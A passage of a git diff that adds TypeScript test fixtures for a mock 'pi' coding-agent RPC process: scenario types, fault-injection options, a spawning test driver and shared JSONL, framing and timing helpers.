String(command.type); + try { + if (scenario.hangCommands?.includes(type)) return; + const delay = scenario.commandDelays?.[type]; + if (delay) await sleep(delay); + const error = scenario.commandErrors?.[type]; + if (error !== undefined) { + await output(failure(command.id, type, error)); + return; + } + const response = await handleCommand(command); + if (response) await output(response); + } catch (error) { + await output( + failure( + command.id, + type, + error instanceof Error ? error.message : String(error), + ), + ); + } +} + +function handleLine(line: string) { + if (line.trim() === "") return; + let parsed: unknown; + try { + parsed = JSON.parse(line); + } catch (error) { + log({ kind: "unparsable", line }); + void output( + failure( + undefined, + "parse", + `Failed to parse command: ${error instanceof Error ? error.message : String(error)}`, + ), + ); + return; + } + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { + log({ kind: "unparsable", line }); + return; + } + const record = parsed as JsonObject; + if (record.type === "extension_ui_response") { + log({ kind: "ui_response", record }); + pendingDialogs.get(String(record.id))?.(record); + return; + } + log({ kind: "command", record }); + void dispatch(record); +} + +async function main() { + for (const line of faults.startupStdout ?? []) + await stdout.write(`${line}\n`); + if (faults.startupStderr) await writeStderr(`${faults.startupStderr}\n`); + if (faults.stderrFloodBytes) await floodStderr(faults.stderrFloodBytes); + if (faults.exitAfterMs !== undefined) { + setTimeout( + () => void exitProcess(faults.exitCode ?? 1, "exit-after-ms"), + faults.exitAfterMs, + ); + } + + // LF-only framing with a stripped trailing CR, never readline (which also + // splits on U+2028/U+2029 inside JSON strings). + const decoder = new StringDecoder("utf8"); + let buffer = ""; + const emit = (line: string) => + handleLine(line.endsWith("\r") ? line.slice(0, -1) : line); + process.stdin.on("data", (chunk: Buffer) => { + buffer += decoder.write(chunk); + for ( + let index = buffer.indexOf("\n"); + index !== -1; + index = buffer.indexOf("\n") + ) { + emit(buffer.slice(0, index)); + buffer = buffer.slice(index + 1); + } + }); + process.stdin.on("end", () => { + buffer += decoder.end(); + if (buffer) emit(buffer); + if (faults.exitOnStdinClose === false) { + log({ kind: "lifecycle", event: "stdin-closed-ignored" }); + setInterval(() => {}, 1 << 30); + return; + } + void (async () => { + if (run) { + run.controller.abort(new Error("shutdown")); + await run.done; + } + await exitProcess(0, "stdin-closed"); + })(); + }); +} + +void main(); diff --git a/scripts/fixtures/agents/pi/scenario.ts b/scripts/fixtures/agents/pi/scenario.ts new file mode 100644 index 00000000..a75fcdbe --- /dev/null +++ b/scripts/fixtures/agents/pi/scenario.ts @@ -0,0 +1,267 @@ +// Scenario contract for scripts/fixtures/agents/pi/mock-rpc.ts, a stand-in for +// `pi --mode rpc`. README.md next to this file documents it with examples. +// Wire shapes follow @earendil-works/pi-coding-agent 1.0.4 (docs/rpc*.md, +// docs/json.md, dist/modes/rpc/rpc-types.d.ts and rpc-mode.js). +import type { JsonObject } from "../shared/fixture-io"; + +export type { JsonObject }; + +export type PiThinkingLevel = + "off" | "minimal" | "low" | "medium" | "high" | "xhigh" | "max"; + +/** A Pi `Model` object as `get_available_models` returns it. */ +export type PiModel = { + id: string; + name: string; + api: string; + provider: string; + baseUrl?: string; + reasoning?: boolean; + thinkingLevelMap?: Partial>; + input?: Array<"text" | "image">; + contextWindow?: number; + maxTokens?: number; + cost?: { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + }; +} & JsonObject; + +export type PiUsage = { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + totalTokens: number; + cost: { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + total: number; + }; +}; + +export type PiSlashCommand = { + name: string; + description?: string; + source: "extension" | "prompt" | "skill"; + sourceInfo: JsonObject; +}; + +/** Steps keyed by outcome; `"*"` is the fallback. */ +export type PiBranches = Record; + +export type PiStep = + /** Assistant text; an array streams one `text_delta` per entry. */ + | { type: "text"; text: string | string[] } + | { type: "thinking"; text: string | string[] } + /** + * A tool call: `toolcall_*` deltas, the assistant `message_end` (stopReason + * `toolUse`), `tool_execution_start/update/end`, the `toolResult` message and + * `turn_end`. The next content opens a new turn. + */ + | { + type: "toolCall"; + id?: string; + name: string; + args: JsonObject; + /** `partialResult` values, one `tool_execution_update` each. */ + updates?: JsonObject[]; + /** Delay before the tool finishes (abortable). */ + durationMs?: number; + /** Default `{content:[{type:"text",text:"ok"}],details:{}}`. */ + result?: JsonObject; + isError?: boolean; + } + /** + * An `extension_ui_request` (fields after `method` are sent as-is). Dialogs + * (`confirm`, `select`, `input`, `editor`) wait for the matching + * `extension_ui_response`; branch keys are `confirmed` / `declined` for + * confirm, the value for the others, `cancelled`, and `timeout`. + */ + | { type: "ui"; method: string; fields?: JsonObject; branches?: PiBranches } + | { + type: "compaction"; + reason?: "manual" | "threshold" | "overflow"; + result?: JsonObject; + aborted?: boolean; + willRetry?: boolean; + errorMessage?: string; + durationMs?: number; + } + | { + type: "retry"; + attempt?: number; + maxAttempts?: number; + delayMs?: number; + errorMessage?: string; + /** Default true; false ends with `finalError`. */ + success?: boolean; + finalError?: string; + /** How long the mock actually waits between start and end. */ + waitMs?: number; + } + /** Any stdout record, written as-is. */ + | { type: "event"; event: JsonObject } + | { + type: "extensionError"; + extensionPath?: string; + event?: string; + error: string; + } + | { type: "delay"; ms: number } + /** Raw lines on stdout (non-JSON noise). */ + | { type: "stdout"; lines: string[] } + | { type: "stderr"; text: string; repeat?: number } + | { type: "exit"; code?: number; signal?: NodeJS.Signals } + /** Never settle on its own; `abort` still ends the run. */ + | { type: "hang" }; + +/** One accepted `prompt` (or steer/follow-up delivery). */ +export type PiPromptScript = { + /** Picks this script when the message contains `match`. */ + match?: string; + /** `success:false` with this error instead of accepting the prompt. */ + reject?: string; + /** `handled` answers like an extension command: no run. */ + disposition?: "started" | "handled"; + steps?: PiStep[]; + /** Final assistant stopReason. Default `stop`. */ + stopReason?: "stop" | "length" | "error"; + errorMessage?: string; + /** Usage on the final assistant message. */ + usage?: PiUsage; +}; + +export type PiMockFaults = { + startupStdout?: string[]; + startupStderr?: string; + stderrFloodBytes?: number; + /** End records with CRLF instead of LF (clients must strip the CR). */ + crlf?: boolean; + /** Write every record in chunks of this many bytes. */ + splitFramesBytes?: number; + exitAfterMs?: number; + exitCode?: number; + /** Default true. */ + exitOnStdinClose?: boolean; +}; + +export type PiMockScenario = { + state?: { + sessionId?: string; + /** `null` behaves like `--no-session` (no `sessionFile`). */ + sessionFile?: string | null; + sessionName?: string; + thinkingLevel?: PiThinkingLevel; + /** `provider/id` of the selected model; `null` for none. Default: the first model. */ + model?: string | null; + autoCompactionEnabled?: boolean; + }; + models?: PiModel[]; + thinkingLevels?: PiThinkingLevel[]; + commands?: PiSlashCommand[]; + /** Initial conversation (`get_messages`). */ + messages?: JsonObject[]; + /** Initial session entries (`get_entries`, `get_tree`, `fork`). */ + entries?: JsonObject[]; + /** `switch_session` targets keyed by session path. */ + sessions?: Record< + string, + { + sessionId?: string; + sessionName?: string; + messages?: JsonObject[]; + entries?: JsonObject[]; + } + >; + /** Overrides merged into the `get_session_stats` data. */ + sessionStats?: JsonObject; + /** `compact` result. */ + compaction?: JsonObject; + /** + * Make `compact` fail like Pi 1.0 with nothing to compact: + * `compaction_start`, `compaction_end` with `errorMessage: "Compaction + * failed: "` and no result, then `success:false` with this error + * (e.g. `"Nothing to compact (session too small)"`). + */ + compactFailure?: string; + /** + * Open a session's first run with its leading system message + * (`message_start`/`message_end`, role `system`) after `turn_start`, as + * Pi 1.0 does. `true` sends a default one; an object is merged over + * `{role:"system", content:""}`. Sessions whose messages already hold a + * system message get none. + */ + systemMessage?: boolean | JsonObject; + /** Output per `bash` command; default echoes the command. */ + bash?: Record; + /** Extension-cancelled session operations. */ + cancelled?: { + new_session?: boolean; + switch_session?: boolean; + fork?: boolean; + clone?: boolean; + }; + prompts?: PiPromptScript[]; + /** Answer these command types with `success:false` and this error. */ + commandErrors?: Record; + /** Delay (ms) before answering these command types. */ + commandDelays?: Record; + /** Never answer these command types. */ + hangCommands?: string[]; + /** `errorMessage` on the aborted assistant message. */ + abortErrorMessage?: string; + faults?: PiMockFaults; +}; + +/** One line of `SENTINEL_PI_MOCK_LOG`: every record received on stdin. */ +export type PiMockLogEntry = + | { ts: number; kind: "command"; record: JsonObject } + | { ts: number; kind: "ui_response"; record: JsonObject } + | { ts: number; kind: "unparsable"; line: string } + | { ts: number; kind: "lifecycle"; event: string; detail?: unknown }; + +export const PI_MOCK_SCENARIO_ENV = "SENTINEL_PI_MOCK_SCENARIO"; +export const PI_MOCK_SCENARIO_FILE_ENV = "SENTINEL_PI_MOCK_SCENARIO_FILE"; +export const PI_MOCK_LOG_ENV = "SENTINEL_PI_MOCK_LOG"; + +export const DEFAULT_PI_MODELS: PiModel[] = [ + { + id: "claude-sonnet-4-20250514", + name: "Claude Sonnet 4", + api: "anthropic-messages", + provider: "anthropic", + baseUrl: "https://api.anthropic.com", + reasoning: true, + thinkingLevelMap: { xhigh: null, max: null }, + input: ["text", "image"], + contextWindow: 200000, + maxTokens: 16384, + cost: { input: 3, output: 15, cacheRead: 0.3, cacheWrite: 3.75 }, + }, + { + id: "gpt-5.6", + name: "GPT-5.6", + api: "openai-responses", + provider: "openai", + baseUrl: "https://api.openai.com/v1", + reasoning: true, + input: ["text", "image"], + contextWindow: 400000, + maxTokens: 128000, + cost: { input: 1.25, output: 10, cacheRead: 0.125, cacheWrite: 0 }, + }, +]; + +export const ZERO_PI_USAGE: PiUsage = { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, +}; diff --git a/scripts/fixtures/agents/pi/test-driver.ts b/scripts/fixtures/agents/pi/test-driver.ts new file mode 100644 index 00000000..c3f0c458 --- /dev/null +++ b/scripts/fixtures/agents/pi/test-driver.ts @@ -0,0 +1,137 @@ +// Minimal Pi RPC client for the fixture self-tests: strict LF framing (CR +// stripped, U+2028 kept inside records), id-correlated responses, and every +// other record collected as an event. Not a test file itself. +import { fileURLToPath } from "node:url"; +import path from "node:path"; + +import { readJsonl, type JsonObject } from "../shared/fixture-io"; +import { + makeTempDir, + removeTempDir, + spawnFixture, + waitFor, + type FixtureProcess, +} from "../shared/test-support"; +import { + PI_MOCK_LOG_ENV, + PI_MOCK_SCENARIO_ENV, + type PiMockLogEntry, + type PiMockScenario, +} from "./scenario"; + +export const MOCK_PI_PATH = fileURLToPath( + new URL("./mock-rpc.ts", import.meta.url), +); + +export type PiResponse = { + id?: string; + type: "response"; + command: string; + success: boolean; + data?: unknown; + error?: string; +}; + +export type PiDriver = { + fixture: FixtureProcess; + /** Every parsed stdout record in arrival order, responses included. */ + records: JsonObject[]; + /** Stdout lines that were not JSON objects. */ + noise: string[]; + /** Every stdout byte, decoded. */ + raw(): string; + send(record: JsonObject): void; + /** Sends `{id, type, ...payload}` and resolves with the matching response. */ + request( + type: string, + payload?: JsonObject, + timeoutMs?: number, + ): Promise; + events(): JsonObject[]; + waitForEvent( + predicate: (record: JsonObject) => boolean, + label: string, + ): Promise; + log(): PiMockLogEntry[]; + dispose(): Promise; +}; + +export function startPiDriver(scenario: PiMockScenario): PiDriver { + const dir = makeTempDir("pi"); + const logPath = path.join(dir, "mock.jsonl"); + const fixture = spawnFixture(MOCK_PI_PATH, { + env: { + [PI_MOCK_SCENARIO_ENV]: JSON.stringify(scenario), + [PI_MOCK_LOG_ENV]: logPath, + }, + }); + const records: JsonObject[] = []; + const noise: string[] = []; + const decoder = new TextDecoder(); + let buffer = ""; + let raw = ""; + fixture.child.stdout.on("data", (chunk: Buffer) => { + const text = decoder.decode(chunk, { stream: true }); + raw += text; + buffer += text; + for ( + let index = buffer.indexOf("\n"); + index !== -1; + index = buffer.indexOf("\n") + ) { + let line = buffer.slice(0, index); + buffer = buffer.slice(index + 1); + if (line.endsWith("\r")) line = line.slice(0, -1); + if (line === "") continue; + try { + const parsed: unknown = JSON.parse(line); + if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) { + records.push(parsed as JsonObject); + continue; + } + } catch { + // fall through to noise + } + noise.push(line); + } + }); + + let nextId = 0; + const send = (record: JsonObject) => { + fixture.child.stdin.write(`${JSON.stringify(record)}\n`); + }; + + return { + fixture, + records, + noise, + raw: () => raw, + send, + request: async (type, payload = {}, timeoutMs = 5_000) => { + const id = `req-${++nextId}`; + send({ id, type, ...payload }); + return (await waitFor( + () => + records.find( + (record) => record.type === "response" && record.id === id, + ), + `${type} response`, + timeoutMs, + )) as PiResponse; + }, + events: () => records.filter((record) => record.type !== "response"), + waitForEvent: (predicate, label) => + waitFor( + () => + records.find( + (record) => record.type !== "response" && predicate(record), + ), + label, + ), + log: () => readJsonl(logPath), + dispose: async () => { + await fixture.kill(); + removeTempDir(dir); + }, + }; +} diff --git a/scripts/fixtures/agents/shared/fixture-io.ts b/scripts/fixtures/agents/shared/fixture-io.ts new file mode 100644 index 00000000..40c2202d --- /dev/null +++ b/scripts/fixtures/agents/shared/fixture-io.ts @@ -0,0 +1,239 @@ +// Process plumbing shared by the protocol fixtures in scripts/fixtures/agents. +// The fixtures run as child processes of bun tests, so everything here writes +// synchronously enough that a deliberate crash never loses earlier frames. +import { appendFileSync, readFileSync } from "node:fs"; +import type { Readable } from "node:stream"; + +export type JsonObject = Record; + +/** + * Reads a scenario from `jsonVar` (inline JSON) or `fileVar` (a path to a JSON + * file). The inline variable wins when both are set. A malformed scenario is a + * fixture bug, so it exits with code 2 and a message on stderr. + */ +export function loadScenarioFromEnv( + jsonVar: string, + fileVar: string, +): T { + const inline = process.env[jsonVar]; + const file = process.env[fileVar]; + const source = inline ?? (file ? readFileSync(file, "utf8") : undefined); + if (source === undefined || source.trim() === "") return {} as T; + try { + const parsed: unknown = JSON.parse(source); + if ( + parsed === null || + typeof parsed !== "object" || + Array.isArray(parsed) + ) { + throw new Error("the scenario must be a JSON object"); + } + return parsed as T; + } catch (error) { + process.stderr.write( + `[fixture] invalid scenario in ${inline !== undefined ? jsonVar : fileVar}: ${ + error instanceof Error ? error.message : String(error) + }\n`, + ); + process.exit(2); + } +} + +/** Appends one JSON object per line to `path`; a no-op when `path` is unset. */ +export function createJsonlLog(path: string | undefined) { + return (record: JsonObject) => { + if (!path) return; + try { + appendFileSync( + path, + `${JSON.stringify({ ts: Date.now(), ...record })}\n`, + ); + } catch { + // Logging must never take the fixture down. + } + }; +} + +/** Reads a JSONL file written by {@link createJsonlLog}; missing files read as empty. */ +export function readJsonl(path: string): T[] { + let text: string; + try { + text = readFileSync(path, "utf8"); + } catch { + return []; + } + return text + .split("\n") + .filter((line) => line.trim() !== "") + .map((line) => JSON.parse(line) as T); +} + +export type StdoutWriterOptions = { + /** Writes every frame in chunks of this many bytes, yielding between chunks. */ + splitFramesBytes?: number; +}; + +/** + * Serialises every stdout write (protocol frames and injected noise) through + * one queue, so noise lands exactly between frames and `flush()` resolves only + * once the bytes reached the pipe. + */ +export function createStdoutWriter(options: StdoutWriterOptions = {}) { + const encoder = new TextEncoder(); + let queue: Promise = Promise.resolve(); + + const writeChunk = (chunk: Uint8Array) => + new Promise((resolve) => { + process.stdout.write(chunk, () => resolve()); + }); + + const write = (data: string | Uint8Array): Promise => { + const bytes = typeof data === "string" ? encoder.encode(data) : data; + const size = options.splitFramesBytes ?? 0; + queue = queue.then(async () => { + if (size <= 0 || bytes.byteLength <= size) { + await writeChunk(bytes); + return; + } + for (let offset = 0; offset < bytes.byteLength; offset += size) { + await writeChunk(bytes.subarray(offset, offset + size)); + await new Promise((resolve) => setTimeout(resolve, 1)); + } + }); + return queue; + }; + + const stream = new WritableStream({ + write: (chunk) => write(chunk), + }); + + return { write, flush: () => queue, stream }; +} + +/** Wraps a Node readable (stdin) as a web stream of bytes. */ +export function nodeReadableToWeb( + readable: Readable, +): ReadableStream { + let done = false; + let detach = () => {}; + return new ReadableStream({ + start(controller) { + const onData = (chunk: Buffer | string) => { + if (done) return; + controller.enqueue( + typeof chunk === "string" + ? new TextEncoder().encode(chunk) + : new Uint8Array(chunk), + ); + }; + const onEnd = () => { + if (done) return; + done = true; + controller.close(); + }; + const onError = (error: Error) => { + if (done) return; + done = true; + controller.error(error); + }; + readable.on("data", onData); + readable.on("end", onEnd); + readable.on("error", onError); + detach = () => { + readable.off("data", onData); + readable.off("end", onEnd); + readable.off("error", onError); + }; + }, + cancel() { + done = true; + detach(); + // Keep draining so the pipe still reaches EOF and the process can close. + readable.resume(); + }, + }); +} + +/** Writes `text` to stderr `repeat` times and waits for the pipe to accept it. */ +export function writeStderr(text: string, repeat = 1): Promise { + const payload = text.repeat(Math.max(1, repeat)); + return new Promise((resolve) => { + process.stderr.write(payload, () => resolve()); + }); +} + +/** Floods stderr with roughly `bytes` bytes of log-like lines. */ +export async function floodStderr(bytes: number): Promise { + const line = + "[fixture] stderr flood: lorem ipsum dolor sit amet consectetur\n"; + const count = Math.ceil(bytes / line.length); + for (let written = 0; written < count; written += 256) { + await writeStderr(line, Math.min(256, count - written)); + } +} + +/** Resolves after `ms`, or rejects with the signal's reason once it aborts. */ +export function sleep(ms: number, signal?: AbortSignal): Promise { + return new Promise((resolve, reject) => { + if (signal?.aborted) { + reject(signal.reason); + return; + } + const timer = setTimeout(() => { + signal?.removeEventListener("abort", onAbort); + resolve(); + }, ms); + const onAbort = () => { + clearTimeout(timer); + reject(signal?.reason); + }; + signal?.addEventListener("abort", onAbort, { once: true }); + }); +} + +/** Never resolves; rejects once `signal` aborts (when given). */ +export function waitForAbort(signal?: AbortSignal): Promise { + return new Promise((_resolve, reject) => { + if (!signal) return; + if (signal.aborted) { + reject(signal.reason); + return; + } + signal.addEventListener("abort", () => reject(signal.reason), { + once: true, + }); + }); +} + +/** + * Replaces `{{name}}` placeholders in every string of `value`. A string that is + * exactly one placeholder takes the variable's raw value, so `"{{promptId}}"` + * can stay a string while `"id: {{promptId}}"` interpolates. + */ +export function applyTemplate(value: T, vars: Record): T { + if (typeof value === "string") { + const whole = /^\{\{(\w+)\}\}$/.exec(value); + if (whole?.[1] !== undefined && whole[1] in vars) { + return vars[whole[1]] as T; + } + return value.replace(/\{\{(\w+)\}\}/g, (match, name: string) => + name in vars ? String(vars[name] ?? "") : match, + ) as T; + } + if (Array.isArray(value)) { + return value.map((item: unknown) => applyTemplate(item, vars)) as T; + } + if (value !== null && typeof value === "object") { + return Object.fromEntries( + Object.entries(value).map(([key, item]) => [ + key, + applyTemplate(item, vars), + ]), + ) as T; + } + return value; +} + +export function deepClone(value: T): T { + return value === undefined ? value : (JSON.parse(JSON.stringify(value)) as T); +} diff --git a/scripts/fixtures/agents/shared/test-support.ts b/scripts/fixtures/agents/shared/test-support.ts new file mode 100644 index 00000000..e63b0d3d --- /dev/null +++ b/scripts/fixtures/agents/shared/test-support.ts @@ -0,0 +1,152 @@ +// Helpers for the fixture self-tests (and later engine tests) that drive a +// fixture as a real child process. Not a test file itself. +import { spawn, type ChildProcessWithoutNullStreams } from "node:child_process"; +import { mkdtempSync, rmSync } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import type { Writable } from "node:stream"; + +export { nodeReadableToWeb } from "./fixture-io"; + +export type FixtureExit = { + code: number | null; + signal: NodeJS.Signals | null; +}; + +export type FixtureProcess = { + child: ChildProcessWithoutNullStreams; + /** Every stdout byte so far, decoded as UTF-8. */ + stdoutText(): string; + stderrText(): string; + /** Resolves once the process exited. */ + exited: Promise; + /** SIGKILLs the process (and waits for it) unless it already exited. */ + kill(): Promise; +}; + +const running = new Set(); + +/** Spawns `bun